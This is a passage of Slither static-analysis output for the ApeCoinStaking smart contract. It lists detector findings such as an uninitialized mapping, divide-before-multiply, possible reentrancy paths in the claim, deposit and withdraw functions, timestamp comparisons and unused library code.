        - ApeCoinStaking._estimate24HourRewards(uint256,address,uint256) (contracts/ApeCoinStaking.sol#557-563)
        - ApeCoinStaking.pendingRewards(uint256,address,uint256) (contracts/ApeCoinStaking.sol#568-579)
```

```
ApeCoinStaking.nftPosition (contracts/ApeCoinStaking.sol#78) is never initialized. It is used in:
	- ApeCoinStaking._stakedTotal(uint256,address) (contracts/ApeCoinStaking.sol#657-666)
	- ApeCoinStaking._getStakes(address,uint256) (contracts/ApeCoinStaking.sol#541-555)
	- ApeCoinStaking._estimate24HourRewards(uint256,address,uint256) (contracts/ApeCoinStaking.sol#557-563)
	- ApeCoinStaking.pendingRewards(uint256,address,uint256) (contracts/ApeCoinStaking.sol#568-579)
	- ApeCoinStaking._depositNft(uint256,ApeCoinStaking.SingleNft[]) (contracts/ApeCoinStaking.sol#616-626)
	- ApeCoinStaking._depositPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#628-649)
	- ApeCoinStaking._claimNft(uint256,uint256[],address) (contracts/ApeCoinStaking.sol#673-682)
	- ApeCoinStaking._claimPairNft(uint256,ApeCoinStaking.PairNft[],address) (contracts/ApeCoinStaking.sol#684-697)
	- ApeCoinStaking._withdrawNft(uint256,ApeCoinStaking.SingleNft[],address) (contracts/ApeCoinStaking.sol#709-724)
	- ApeCoinStaking._withdrawPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#726-748)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-state-variables

ApeCoinStaking._estimate24HourRewards(uint256,address,uint256) (contracts/ApeCoinStaking.sol#557-563) performs a multiplication on the result of a division:
	-((position.stakedAmount / pool.stakedAmount) * rewards.rewardsPerHour * 24) (contracts/ApeCoinStaking.sol#562)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

ApeCoinStaking._depositPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]).i (contracts/ApeCoinStaking.sol#629) is a local variable never initialized
ApeCoinStaking._withdrawPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]).i (contracts/ApeCoinStaking.sol#727) is a local variable never initialized
ApeCoinStaking._claimNft(uint256,uint256[],address).i (contracts/ApeCoinStaking.sol#675) is a local variable never initialized
ApeCoinStaking._withdrawNft(uint256,ApeCoinStaking.SingleNft[],address).i (contracts/ApeCoinStaking.sol#711) is a local variable never initialized
ApeCoinStaking._claimPairNft(uint256,ApeCoinStaking.PairNft[],address).i (contracts/ApeCoinStaking.sol#685) is a local variable never initialized
ApeCoinStaking._depositNft(uint256,ApeCoinStaking.SingleNft[]).i (contracts/ApeCoinStaking.sol#618) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

ERC721._checkOnERC721Received(address,address,uint256,bytes) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#394-416) ignores return value by IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,data) (node_module
s/@openzeppelin/contracts/token/ERC721/ERC721.sol#402-412)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

Variable 'ERC721._checkOnERC721Received(address,address,uint256,bytes).retval (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#401)' in ERC721._checkOnERC721Received(address,address,uint256,bytes) (node_modules/@openzeppelin
/contracts/token/ERC721/ERC721.sol#394-416) potentially used before declaration: retval == IERC721Receiver.onERC721Received.selector (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#402)
Variable 'ERC721._checkOnERC721Received(address,address,uint256,bytes).reason (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#403)' in ERC721._checkOnERC721Received(address,address,uint256,bytes) (node_modules/@openzeppelin
/contracts/token/ERC721/ERC721.sol#394-416) potentially used before declaration: reason.length == 0 (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#404)
Variable 'ERC721._checkOnERC721Received(address,address,uint256,bytes).reason (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#403)' in ERC721._checkOnERC721Received(address,address,uint256,bytes) (node_modules/@openzeppelin
/contracts/token/ERC721/ERC721.sol#394-416) potentially used before declaration: revert(uint256,uint256)(32 + reason,mload(uint256)(reason)) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#409)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#pre-declaration-usage-of-local-variables

Reentrancy in ApeCoinStaking._withdrawPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#726-748):
	External calls:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	State variables written after the call(s):
	- bakcToMain[bakcTokenId][mainTypePoolId].isPaired = false (contracts/ApeCoinStaking.sol#742)
	- mainToBakc[mainTypePoolId][mainTokenId].isPaired = false (contracts/ApeCoinStaking.sol#741)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

Reentrancy in ApeCoinStaking._claimNft(uint256,uint256[],address) (contracts/ApeCoinStaking.sol#673-682):
	External calls:
	- rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#679)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#679)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewardsNft(msg.sender,_poolId,rewardsToBeClaimed,tokenId) (contracts/ApeCoinStaking.sol#680)
Reentrancy in ApeCoinStaking._claimPairNft(uint256,ApeCoinStaking.PairNft[],address) (contracts/ApeCoinStaking.sol#684-697):
	External calls:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,_recipient) (contracts/ApeCoinStaking.sol#694)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,_recipient) (contracts/ApeCoinStaking.sol#694)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewardsPairNft(msg.sender,rewardsToBeClaimed,mainTypePoolId,mainTokenId,bakcTokenID) (contracts/ApeCoinStaking.sol#695)
Reentrancy in ApeCoinStaking._depositNft(uint256,ApeCoinStaking.SingleNft[]) (contracts/ApeCoinStaking.sol#616-626):
	External calls:
	- _depositNftGuard(_poolId,position,amount) (contracts/ApeCoinStaking.sol#623)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External calls sending eth:
	- _depositNftGuard(_poolId,position,amount) (contracts/ApeCoinStaking.sol#623)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- DepositNft(msg.sender,_poolId,amount,tokenId) (contracts/ApeCoinStaking.sol#624)
Reentrancy in ApeCoinStaking._depositPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#628-649):
	External calls:
	- _depositNftGuard(BAKC_POOL_ID,position,amount) (contracts/ApeCoinStaking.sol#646)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External calls sending eth:
	- _depositNftGuard(BAKC_POOL_ID,position,amount) (contracts/ApeCoinStaking.sol#646)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- DepositPairNft(msg.sender,amount,mainTypePoolId,mainTokenId,bakcTokenId) (contracts/ApeCoinStaking.sol#647)
Reentrancy in ApeCoinStaking._withdrawNft(uint256,ApeCoinStaking.SingleNft[],address) (contracts/ApeCoinStaking.sol#709-724):
	External calls:
	- rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#718)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#718)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewardsNft(msg.sender,_poolId,rewardsToBeClaimed,tokenId) (contracts/ApeCoinStaking.sol#719)
Reentrancy in ApeCoinStaking._withdrawNft(uint256,ApeCoinStaking.SingleNft[],address) (contracts/ApeCoinStaking.sol#709-724):
	External calls:
	- rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#718)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	- _withdraw(_poolId,position,amount,_recipient) (contracts/ApeCoinStaking.sol#721)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransfer(_recipient,_amount) (contracts/ApeCoinStaking.sol#706)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#718)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	- _withdraw(_poolId,position,amount,_recipient) (contracts/ApeCoinStaking.sol#721)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- WithdrawNft(msg.sender,_poolId,amount,_recipient,tokenId) (contracts/ApeCoinStaking.sol#722)
Reentrancy in ApeCoinStaking._withdrawPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#726-748):
	External calls:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewardsPairNft(msg.sender,rewardsToBeClaimed,mainTypePoolId,mainTokenId,bakcTokenId) (contracts/ApeCoinStaking.sol#743)
Reentrancy in ApeCoinStaking._withdrawPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#726-748):
	External calls:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	- _withdraw(BAKC_POOL_ID,position,amount,mainTokenOwner) (contracts/ApeCoinStaking.sol#745)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransfer(_recipient,_amount) (contracts/ApeCoinStaking.sol#706)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External call sending eth:
	- rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	- _withdraw(BAKC_POOL_ID,position,amount,mainTokenOwner) (contracts/ApeCoinStaking.sol#745)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- WithdrawPairNft(msg.sender,amount,mainTypePoolId,mainTokenId,bakcTokenId) (contracts/ApeCoinStaking.sol#746)
Reentrancy in ApeCoinStaking.claimApeCoin(address) (contracts/ApeCoinStaking.sol#215-222):
	External calls:
	- rewardsToBeClaimed = _claim(APECOIN_POOL_ID,position,_recipient) (contracts/ApeCoinStaking.sol#219)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- rewardsToBeClaimed = _claim(APECOIN_POOL_ID,position,_recipient) (contracts/ApeCoinStaking.sol#219)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewards(msg.sender,rewardsToBeClaimed,_recipient) (contracts/ApeCoinStaking.sol#221)
Reentrancy in ApeCoinStaking.claimBAKC(ApeCoinStaking.PairNft[],ApeCoinStaking.PairNft[],address) (contracts/ApeCoinStaking.sol#270-274):
	External calls:
	- _claimPairNft(BAYC_POOL_ID,_baycPairs,_recipient) (contracts/ApeCoinStaking.sol#272)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	- _claimPairNft(MAYC_POOL_ID,_maycPairs,_recipient) (contracts/ApeCoinStaking.sol#273)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
```

```
	External calls sending eth:
	- _claimPairNfts(BAYC_POOL_ID,_baycPairs,_recipient) (contracts/ApeCoinStaking.sol#272)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	- _claimPairNfts(MAYC_POOL_ID,_maycPairs,_recipient) (contracts/ApeCoinStaking.sol#273)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewardsPairNft(msg.sender,rewardsToBeClaimed,mainTypePoolId,mainTokenId,bakcTokenID) (contracts/ApeCoinStaking.sol#695)
		- _claimPairNft(MAYC_POOL_ID,_maycPairs,_recipient) (contracts/ApeCoinStaking.sol#273)
Reentrancy in ApeCoinStaking.depositApeCoin(uint256,address) (contracts/ApeCoinStaking.sol#164-172):
	External calls:
	- _deposit(APECOIN_POOL_ID,position,_amount) (contracts/ApeCoinStaking.sol#169)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External calls sending eth:
	- _deposit(APECOIN_POOL_ID,position,_amount) (contracts/ApeCoinStaking.sol#169)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- Deposit(msg.sender,_amount,_recipient) (contracts/ApeCoinStaking.sol#171)
Reentrancy in ApeCoinStaking.depositBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#203-207):
	External calls:
	- _depositPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#205)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	- _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External calls sending eth:
	- _depositPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#205)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	- _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- DepositPairNft(msg.sender,amount,mainTypePoolId,mainTokenId,bakcTokenId) (contracts/ApeCoinStaking.sol#647)
		- _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
Reentrancy in ApeCoinStaking.withdrawApeCoin(uint256,address) (contracts/ApeCoinStaking.sol#290-297):
	External calls:
	- _withdraw(APECOIN_POOL_ID,position,_amount,_recipient) (contracts/ApeCoinStaking.sol#294)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransfer(_recipient,_amount) (contracts/ApeCoinStaking.sol#706)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	External calls sending eth:
	- _withdraw(APECOIN_POOL_ID,position,_amount,_recipient) (contracts/ApeCoinStaking.sol#294)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- Withdraw(msg.sender,_amount,_recipient) (contracts/ApeCoinStaking.sol#296)
Reentrancy in ApeCoinStaking.withdrawBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#342-346):
	External calls:
	- _withdrawPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#344)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransfer(_recipient,_amount) (contracts/ApeCoinStaking.sol#706)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	- _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
		- returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
		- apeCoin.safeTransfer(_recipient,_amount) (contracts/ApeCoinStaking.sol#706)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
		- apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
	External calls sending eth:
	- _withdrawPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#344)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	- _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
		- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
	Event emitted after the call(s):
	- ClaimRewardsPairNft(msg.sender,rewardsToBeClaimed,mainTypePoolId,mainTokenId,bakcTokenId) (contracts/ApeCoinStaking.sol#743)
		- _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
	- WithdrawPairNft(msg.sender,amount,mainTypePoolId,mainTokenId,bakcTokenId) (contracts/ApeCoinStaking.sol#746)
		- _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3

ApeCoinStaking.rewardsBy(uint256,uint256,uint256) (contracts/ApeCoinStaking.sol#394-412) uses timestamp for comparisons
	Dangerous comparisons:
	- _to < pool.rewardsPerHourInRanges[0].startTimestampHour (contracts/ApeCoinStaking.sol#396)
	- i < pool.rewardsPerHourInRanges.length (contracts/ApeCoinStaking.sol#399)
	- _to <= endTimestampHour (contracts/ApeCoinStaking.sol#406)
	- _from <= current.startTimestampHour (contracts/ApeCoinStaking.sol#402)
	- _to <= current.endTimestampHour (contracts/ApeCoinStaking.sol#403)
ApeCoinStaking.updatePool(uint256) (contracts/ApeCoinStaking.sol#418-440) uses timestamp for comparisons
	Dangerous comparisons:
	- block.timestamp < pool.rewardsPerHourInRanges[0].startTimestampHour (contracts/ApeCoinStaking.sol#421)
	- block.timestamp <= pool.lastRewardedTimestampHour + SECONDS_PER_HOUR (contracts/ApeCoinStaking.sol#422)
	- pool.lastRewardsRangeIndex != index (contracts/ApeCoinStaking.sol#433)
	- previousTimestampHour > lastTimestampHour (contracts/ApeCoinStaking.sol#428)
	- previousTimestampHour > lastTimestampHour (contracts/ApeCoinStaking.sol#437)
ApeCoinStaking.getAllStakes(address) (contracts/ApeCoinStaking.sol#472-502) uses timestamp for comparisons
	Dangerous comparisons:
	- i < baycStakes.length (contracts/ApeCoinStaking.sol#486)
	- i_scope_0 < maycStakes.length (contracts/ApeCoinStaking.sol#491)
	- i_scope_1 < bakcStakes.length (contracts/ApeCoinStaking.sol#496)
ApeCoinStaking.pendingRewards(uint256,address,uint256) (contracts/ApeCoinStaking.sol#568-579) uses timestamp for comparisons
	Dangerous comparisons:
	- block.timestamp > pool.lastRewardedTimestampHour + SECONDS_PER_HOUR && pool.stakedAmount != 0 (contracts/ApeCoinStaking.sol#575)
ApeCoinStaking._depositNftGuard(uint256,ApeCoinStaking.Position,uint256) (contracts/ApeCoinStaking.sol#651-657) uses timestamp for comparisons
	Dangerous comparisons:
	- require(bool,string)(_amount + _position.stakedAmount <= pools[_poolId].rewardsPerHourInRanges[pools[_poolId].lastRewardsRangeIndex].capPerPosition,Can't stake more than cap amount) (contracts/ApeCoinStaking.sol#653-654)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

ERC721._checkOnERC721Received(address,address,uint256,bytes) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#394-416) uses assembly
	- INLINE ASM (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#408-410)
Address.verifyCallResult(bool,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#201-221) uses assembly
	- INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#213-216)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

Different versions of Solidity is used:
	- Version used: ['^0.8.10', '^0.8.0', '^0.8.1']
	- ^0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/IERC721.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol#4)
	- ^0.8.1 (node_modules/@openzeppelin/contracts/utils/Address.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/utils/Strings.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/utils/introspection/ERC165.sol#4)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/utils/introspection/IERC165.sol#4)
	- 0.8.10 (contracts/ApeCoinStaking.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#85-87) is never used and should be removed
Address.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#114-120) is never used and should be removed
Address.functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#174-176) is never used and should be removed
Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#184-193) is never used and should be removed
Address.functionStaticCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#147-149) is never used and should be removed
Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#157-166) is never used and should be removed
Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#60-65) is never used and should be removed
Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#21-23) is never used and should be removed
ERC721._burn(uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#303-317) is never used and should be removed
ERC721._mint(address,uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#279-291) is never used and should be removed
ERC721._safeMint(address,uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#247-249) is never used and should be removed
ERC721._safeMint(address,uint256,bytes) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#255-265) is never used and should be removed
SafeERC20.safeApprove(IERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#46-59) is never used and should be removed
SafeERC20.safeDecreaseAllowance(IERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#70-81) is never used and should be removed
SafeERC20.safeIncreaseAllowance(IERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#61-68) is never used and should be removed
